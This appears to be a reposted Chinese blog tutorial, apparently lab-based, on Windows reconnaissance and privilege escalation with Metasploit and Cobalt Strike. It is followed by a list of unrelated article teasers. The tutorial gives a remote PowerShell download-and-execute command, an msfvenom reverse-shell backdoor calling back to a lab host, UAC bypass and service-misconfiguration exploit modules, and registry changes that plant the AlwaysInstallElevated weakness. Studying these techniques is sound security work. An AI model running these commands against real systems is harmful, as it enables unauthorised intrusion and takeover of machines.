windows信息收集和提权

目录

手动收集

工具收集 

windows本地内核提权 

本地提权

根据windows去找需要的exp进行利用

 提权后结合mimikatz使用

msf提权 

简单提权

生成后门

上线

BypassUAC绕过UAC提权 

msf带的bypassuac模块可以尝试提权

Bypassuac提权命令操作 

 提权成功

​local_exploit_suggester后渗透检测本地漏洞模块

出现绿色的都是可能可以被利用的本地漏洞 

使用一个绿色的模块，成功提权 

windows系统服务漏洞

msi提权嵌套后门

判断是否启用此策略设置

以管理员身份手动添加策略营造漏洞

 msi打包安装包工具下载地址

 打包过程详解

运行安装包上线后门

 成功上线（提权成功）

拓展msf的自动打包好直接利用的模块

always_install_elevated模块

命令代码

提权成功 

 可信任服务路径提权

msf的集成的unquoted_service_path集成模块

成功提权 

​ 不安全的服务权限

service_permissions模块

提权成功 

cs提权

先cs上线

提权模块

类比msf

 然后再带*用户进行svc-exe的getsystem提权

 提权成功

获取更多提权脚本

下载地址

上传到cs里 

成功添加模块​

手动收集

获取补丁信息

wmic qfe get Caption,Description,HotFixID,InstalledOn

获取杀软信息

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

获取杀软名和安装目录

WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

工具收集 

两个bat和一个powershell

powershell的执行命令

powershell -ep bypass       #进入powershell环境
Import-Module .\PowerUp.ps1    #导入powershell
Invoke-allchecks               #执行功能

远程加载

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.20.128:8000/PowerUp.ps1'); Invoke-AllChecks"

windows本地内核提权 

本地提权

根据windows去找需要的exp进行利用

GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合icon-default.png?t=N7T8https://github.com/SecWiki/windows-kernel-exploits?tab=readme-ov-file

随便找个对应工具进行的演示

 提权后结合mimikatz使用

msf提权 

简单提权

生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=8888 -f exe -o 8888.exe

上线

getsystem提权失败的不是以管理员身份运行的后门

getsystem提权成功的是以管理员身份运行的后门 

提权原理：实际是命名管道原理，进行模拟令牌进行提权，如果我们dorp_token那么就会回到普通用户

BypassUAC绕过UAC提权 

UAC:用户帐户控制(User Accountcontrol)，是windows操作系统中采用的一种控制机制，它以预见的方式阻止不必要的系统范围更改
getsystem提权方式对于普通用户来说是失败的不可正常执行的，那么这种情况下就需要绕过系统UAC来进行getsystem提权

msf带的bypassuac模块可以尝试提权

Bypassuac提权命令操作 

search bypassuac
use exploit/windows/local/bypassuac
set session 1
show targets
set target 1
run

 提权成功

local_exploit_suggester后渗透检测本地漏洞模块

local_exploit_suggester是一个漏洞利用后渗透模块，可用于检査系统中是否存在本地漏洞。它执行本地漏洞利用检查;但不会运行利用任何漏洞，这意味着可以在不进行入侵的情况下扫描系统。不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。
优点:省去手动查找本地漏洞的麻烦，节省时间

缺点:不是所有列出的local exploit都可用 

search local_exploit_suggester
use post/multi/recon/local_exploit_suggester 
options
set session 1
run

出现绿色的都是可能可以被利用的本地漏洞 

使用一个绿色的模块，成功提权 

use exploit/windows/local/ms15_051_client_copy_image
set target 1
set session 1
set payload windows/x64/meterpreter/reverse_tcp
run

 

windows系统服务漏洞

msi提权嵌套后门

参考文章

AlwaysInstallElevated - Win32 apps | Microsoft Learnicon-default.png?t=N7T8https://learn.microsoft.com/zh-cn/windows/win32/msi/alwaysinstallelevated

任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。

MSI:Microsoft silent Installer，是微软的安装包格式，它在后台运行.exe安装程序AlwaysInstallElevated是一个策略设置，当在系统中使用WindowsInstaller安装任何程序时，该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置，我们可以使用msf生成msi文件来以system权限执行任意payload。 

判断是否启用此策略设置
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

报错则说明未启用，不能进行漏洞的利用提权 

以管理员身份手动添加策略营造漏洞
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

 msi打包安装包工具下载地址

Free Download - MSI Wrapper Convert EXE to MSI free (exemsi.com)icon-default.png?t=N7T8https://www.exemsi.com/download/

 打包过程详解

MSI打包后门成安装包-CSDN博客打包程序安装到自己电脑上。https://blog.csdn.net/weixin_74171325/article/details/140320559?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22140320559%22%2C%22source%22%3A%22weixin_74171325%22%7D

生成安装包完成

运行安装包上线后门
msiexec /quiet /qn /i C:\Users\admin\Desktop\8888.msi

 成功上线（提权成功）

拓展msf的自动打包好直接利用的模块
always_install_elevated模块
命令代码
use exploit/windows/local/always_install_elevated
set sessions 1
set payload windows/x64/meterpreter/reverse_tcp
run
提权成功 

 

 可信任服务路径提权

原理：存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限，Windows服务通常都是以System权限运行的，所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性，就有机会进行权限提升。

C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

对于上面文件路径中的每一个空格，windows都会尝试寻找并执行名字与空格前的名字相匹配的程序操作系统会对文件路径中空格的所有可能进行尝试，直到找到一个匹配的程序。以上面的例子为例，windows会依次尝试确定和执行下面的程序

检查目标主机是否可能存在漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """


检测对有漏洞的目录是否有写权限（比如）
icacls "C:\Program Files (x86)\Windows Folder"

F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

 

msf的集成的unquoted_service_path集成模块
use exploit/windows/local/unquoted_service_path
set session 1
set payload windows/x64/meterpreter/reverse_tcp
run
成功提权 

 不安全的服务权限

service_permissions模块
use exploit/windows/local/service_permissions
set sessions 1
set payload windows/x64/meterpreter/reverse_tcp
run
提权成功 

cs提权

先cs上线

 提权模块

 

类比msf

 然后再带*用户进行svc-exe的getsystem提权

 

 提权成功

获取更多提权脚本

下载地址

GitHub - rsmudge/ElevateKit: The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload.icon-default.png?t=N7T8https://github.com/rsmudge/ElevateKit

 

 

上传到cs里 

成功添加模块

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/791944.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

【python】随机森林预测汽车销售

【python】随机森林预测汽车销售

目录 引言 1. 数据收集与预处理 2. 划分数据集 3. 构建随机森林模型 4. 模型训练 5. 模型评估 6. 模型调优 数据集 代码及结果 独热编码 随机森林模型训练 特征重要性图 混淆矩阵 ROC曲线 引言 随机森林（Random Forest）是一种集成学习方法…
阅读更多...
全网最炸裂的5款SD涩涩模型！身体真的是越来越不好了！建议收藏，晚上自己偷偷打开看！

全网最炸裂的5款SD涩涩模型！身体真的是越来越不好了！建议收藏，晚上自己偷偷打开看！

很多人说，**自从学了SD后，身体一天不如一天了。**今天就再接再厉，给大家推荐5个涩涩的模型。 【身材调节器】 顾名思义，这个lora可以帮你在出图时凹出想要的S型曲线。出图效果的大小由lora的权重来设定，权重越小越贫穷…
阅读更多...
本地开发微信小程序，使用巴比达内网穿透

本地开发微信小程序，使用巴比达内网穿透

在微信小程序开发的热潮中，开发者常面临的一个挑战是如何在复杂的网络环境下测试和调试内网环境中的服务。巴比达正为这一难题提供了一条解决方案，极大简化了微信小程序与内网服务器之间通信的流程，加速了开发迭代周期。 以往，开…
阅读更多...
3D渲染模型是白色的？问题出在以下6点，教你快速解决！

3D渲染模型是白色的？问题出在以下6点，教你快速解决！

你的3D模型渲染出来是不是黑色、白色、粉色或者扭曲的？ 出现这种情况很有可能是你的贴图纹理丢失或损坏！ 幸运的是，有一些常见的方法可以解决此问题并恢复纹理。在本文中，小编将分享如何排查和解决不同方案下的纹理问题。通常问…
阅读更多...
小红书的大模型有点「怂」

小红书的大模型有点「怂」

大模型发展至今，各个公司都根据自己的业务发布了各自的大模型。而小红书作为种草类产品的代表，自研的大模型一直引而不发，还在内测阶段。 AI以及自研大模型的持续火热，让以原创内容为主导的小红书坐不住了。 近期，据多…
阅读更多...
本周六！上海场新能源汽车数据基础设施专场 Meetup 来了

本周六！上海场新能源汽车数据基础设施专场 Meetup 来了

本周六下午 14:30 新能源汽车数据基础设施专场 Meetup 在上海，点击链接报名 🎁 到场有机会获得 Greptime 和 AutoMQ 的精美文创周边哦～ 🔮 会后还有观众问答 & 抽奖环节等你来把神秘礼物带回家～ 🧁 更…
阅读更多...
傅里叶级数的3D表示 包括源码

傅里叶级数的3D表示 包括源码

傅里叶级数的3D表示 包括源码 flyfish 傅里叶级数的基本形式 ： y ( t ) ∑ n 1 , 3 , 5 , … N 4 A n π sin ⁡ ( n π T t ) y(t) \sum_{n1,3,5,\ldots}^{N} \frac{4A}{n\pi} \sin\left(\frac{n\pi}{T} t\right) y(t)n1,3,5,…∑N​nπ4A​sin(Tnπ​t) 其中&…
阅读更多...
WPF/C#：在WPF中如何实现依赖注入

WPF/C#：在WPF中如何实现依赖注入

前言 本文通过 WPF Gallery 这个项目学习依赖注入的相关概念与如何在WPF中进行依赖注入。 什么是依赖注入 依赖注入（Dependency Injection，简称DI）是一种设计模式，用于实现控制反转（Inversion of Control&#xff0…
阅读更多...
Apache Hadoop完全分布式集群搭建指南

Apache Hadoop完全分布式集群搭建指南

Hadoop发行版本较多，Cloudera版本（Cloudera’s Distribution Including Apache Hadoop，简称CDH）收费版本通常用于生产环境，这里用开源免费的Apache Hadoop原始版本。 下载：Apache Hadoop 版本下载&#x…
阅读更多...
华盈生物-PhenoCycler-超多靶标揭示组织空间位置和互作关系

华盈生物-PhenoCycler-超多靶标揭示组织空间位置和互作关系

华盈生物获得美国Akoya公司认证的PhenoCycler-Fusion（原CODEX）空间单细胞蛋白组技术服务商，并进入该技术的全球CRO服务提供者网络：CRO Service Providers | Akoya Biosciences为科研工作者提供为更具有精准医学特色的服务&#xf…
阅读更多...
Failed to start mysql.service:Unit mysql.service not found（100%成功解决问题）

Failed to start mysql.service:Unit mysql.service not found（100%成功解决问题）

问题：在ubuntu中安装mysql后，启动mysql报错 你能看到我这篇文章，是非常幸运的！ 安装mysql-server: 然后启动mysql报错： 那要怎么处理呢？easy，跟着下面的步骤操作就好了 首先，先卸…
阅读更多...
算法训练营day28--134. 加油站 +135. 分发糖果+860.柠檬水找零+406.根据身高重建队列

算法训练营day28--134. 加油站 +135. 分发糖果+860.柠檬水找零+406.根据身高重建队列

一、 134. 加油站 题目链接：https://leetcode.cn/problems/gas-station/ 文章讲解：https://programmercarl.com/0134.%E5%8A%A0%E6%B2%B9%E7%AB%99.html 视频讲解：https://www.bilibili.com/video/BV1jA411r7WX 1.1 初见思路 得模拟分析出…
阅读更多...
php快速入门

php快速入门

前言 php是一门脚本语言，可以访问服务器，对数据库增删查改（后台/后端语言） 后台语言：php，java，c，c，python等等 注意：php是操作服务器，不能直接在…
阅读更多...
教学神器大比拼：SmartEDA、Multisim、Proteus，谁是你的最佳选择？

教学神器大比拼：SmartEDA、Multisim、Proteus，谁是你的最佳选择？

随着科技的飞速发展，教学工具也在不断升级。在电子设计自动化（EDA）和电路仿真领域，SmartEDA、Multisim和Proteus三款软件备受关注。那么，对于广大教育工作者和学生们来说，这三者之间该如何选择呢&#xff1…
阅读更多...
goaccess分析json格式日志

goaccess分析json格式日志

一.安装使用yum安装，yum install goaccess 二.主要介绍格式问题 1.nginx日志格式如下： log_format main escapejson {"time_local":"$time_local", "remote_addr":"$remote_addr", "r…
阅读更多...
解决鸿蒙开发中克隆项目无法签名问题

解决鸿蒙开发中克隆项目无法签名问题

文章目录 问题描述问题分析解决方案 问题描述 在一个风和日丽的早晨，这是我学习鸿蒙开发的第四天，把文档过了一遍的我准备看看别人的项目学习一下，于是就用git去clone了一个大佬的开源项目，在签名的时候遇到了问题： h…
阅读更多...
docker 上传镜像到hub仓库

docker 上传镜像到hub仓库

要将 Docker 镜像上传到 Docker Hub，你需要按照以下步骤操作： 登录 Docker Hub 首先，你需要登录到 Docker Hub。打开终端并运行以下命令：docker login系统会提示你输入 Docker Hub 的用户名和密码。 如果密码忘记可以token登录&a…
阅读更多...
SAP S4 销售组的定义和分配

SAP S4 销售组的定义和分配

spro-企业结构-定义-销售与分销-维护销售组 新增一个记录 spro-企业结构-分配-销售与分销-给销售办公室分配销售组
阅读更多...
[leetcode]kth-smallest-element-in-a-sorted-matrix 有序矩阵中第k小元素

[leetcode]kth-smallest-element-in-a-sorted-matrix 有序矩阵中第k小元素

. - 力扣&#xff08;LeetCode&#xff09; class Solution { public:bool check(vector<vector<int>>& matrix, int mid, int k, int n) {int i n - 1;int j 0;int num 0;while (i > 0 && j < n) {if (matrix[i][j] < mid) {num i 1;j;…
阅读更多...
OTA与OTA升级

OTA与OTA升级

目录 一、OTA简介 二、OTA升级 三、操作方式 一、OTA简介 在嵌入式领域当中&#xff0c;OTA&#xff08;Over-The-Air&#xff09;指的是通过无线通信技术对嵌入式设备的软件进行远程更新和管理。这种技术广泛应用于物联网设备、智能家电、汽车电子、智能手机等领域。通过OTA…
阅读更多...
最新文章

Copyright @ 2022~2023